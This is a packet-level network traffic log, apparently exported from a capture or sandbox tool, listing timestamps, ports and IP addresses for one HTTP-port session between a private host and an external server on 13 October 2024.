Oct 13, 2024 00:47:54.356672049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356697083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356703997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356743097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356750965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356785059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356794119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356817961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356852055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356858969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356880903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356893063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356915951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.356925011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.356956959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357047081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357079983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357094049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357120037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357131004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357150078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357163906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357186079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357191086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357220888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357244015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357253075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357259989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357285976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357297897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357320070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357323885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357362032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357516050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357547998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357563972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357582092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357587099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357615948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357623100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357647896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357660055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357681036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357693911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357714891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357719898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357748985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357755899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357783079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357811928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357825994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357845068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357852936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357877970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357884884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357912064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357922077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357945919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357955933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.357979059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.357989073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358012915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358016968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358051062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358097076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358233929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358267069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358299017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358321905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358330965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358335972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358376026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358380079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358412027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358417988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358445883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358452082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358479023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358489990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358513117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358522892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358546972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358556032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358581066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358599901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358619928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358627081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358654022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358669996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358688116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358699083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358721018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358732939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358751059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358777046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358788013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358789921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358829021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358870029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358902931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358917952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358936071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358952045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.358967066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.358989000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.359003067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.359004974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.359036922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.359060049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.359069109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.359088898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.359103918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.359126091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.359155893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.499695063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.504750967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.718895912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.718940973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.718986034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719010115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719034910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719064951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719094992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719111919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719127893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719152927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719161987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719183922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719194889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719203949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719247103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719279051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719293118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719311953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719322920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719346046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719356060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719397068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719424009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719461918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719470978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719496012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719504118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719530106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719537020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719563961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719569921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719598055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719603062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719633102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719640017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719667912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719674110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719702005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719707012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719738007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719743967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719774961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719779015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719809055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719816923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719842911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719851017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719878912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.719885111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.719921112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720204115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720237017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720251083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720272064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720278025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720308065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720315933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720341921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720349073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720376015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720386028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720411062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720417023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720446110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720453024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720479965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720485926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720513105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720521927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720549107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720554113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720582962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720591068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720623016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720624924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720664024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.720963001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.720998049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721009970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721039057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721108913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721142054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721153975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721184969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721191883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721225023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721235991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721259117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721266031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721292973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721301079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721326113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721334934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721359015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721369028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721394062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721400976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721427917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721436977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721462965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721472025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721499920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721504927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721540928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.721798897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.721971035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722012997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722027063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722045898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722063065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722081900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722094059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722116947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722126007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722151041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722160101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722183943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722192049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722218990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722224951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722253084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722259998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722285986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722296000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722318888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722326994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722352982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722361088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722385883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722394943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722419024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722426891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722455025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722460985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722498894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722917080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722949982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722964048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.722982883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.722991943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723016977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723026037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723059893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723069906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723103046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723113060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723135948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723145008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723174095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723184109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723210096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723221064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723253012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723259926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723294020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723303080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723328114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723335028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723361969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723371029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723403931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723414898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723448992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723453045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723478079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723490000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723510981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723517895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723553896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723562956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723594904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723604918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723629951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723635912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723670006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723673105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723704100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723714113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723740101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723747969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723773003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723783016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723808050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723817110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723841906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723849058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723875046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723885059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723908901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723917961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723941088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723948956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.723973036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.723979950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724004030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724014997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724037886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724045992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724071026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724078894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724104881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724113941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724138021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724147081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724170923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724178076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724204063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724211931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724240065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724245071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724275112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724283934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724308968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724317074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724342108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:54.724353075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:54.724375010 CEST	80	49711	185.215.113.37	192.168.2.6
